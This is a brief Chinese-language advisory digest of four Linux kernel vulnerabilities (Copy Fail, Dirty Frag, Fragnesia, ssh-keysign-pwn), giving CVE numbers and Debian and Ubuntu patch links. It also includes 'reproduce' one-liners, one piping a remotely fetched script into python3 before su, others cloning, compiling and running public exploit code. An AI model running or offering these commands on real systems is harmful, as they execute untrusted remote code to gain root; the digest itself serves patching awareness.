Linux 重大漏洞

Copy Fail

官网：copy.fail

复现：curl https://copy.fail/exp | python3 && su

CVE：CVE-2026-31431

发行版修复方式：

• Debian：通过内核更新修复，https://security-tracker.debian.org/tracker/CVE-2026-31431
• Ubuntu：通过 kmod 分发 modprobe 黑名单，见 https://ubuntu.com/security/CVE-2026-31431, https://ubuntu.com/blog/copy-fail-vulnerability-fixes-available

Dirty Frag

官网：V4bel/dirtyfrag

复现：git clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp

CVE: CVE-2026-43284 (xfrm) 和 CVE-2026-43500 (RxRPC)

相关：copy fail 2: electric boogaloo

发行版修复方式：

• Debian：通过内核更新修复，https://security-tracker.debian.org/tracker/CVE-2026-43284 和 https://security-tracker.debian.org/tracker/CVE-2026-43500
• Ubuntu：尚未修复，见 https://ubuntu.com/security/CVE-2026-43284, https://ubuntu.com/blog/dirty-frag-linux-vulnerability-fixes-available

Fragnesia

官网：v12-security/pocs

复现：git clone https://github.com/v12-security/pocs.git && cd pocs/fragnesia && gcc -o exp fragnesia.c && ./exp

CVE：CVE-2026-46300

发行版修复方式：

• Debian：见 https://security-tracker.debian.org/tracker/CVE-2026-46300
• Ubuntu：见 https://ubuntu.com/security/CVE-2026-46300

ssh-keysign-pwn

官网：0xdeadbeefnetwork/ssh-keysign-pwn

CVE：CVE-2026-46333

发行版修复方式：

• Debian：通过内核更新修复，见 https://security-tracker.debian.org/tracker/CVE-2026-46333

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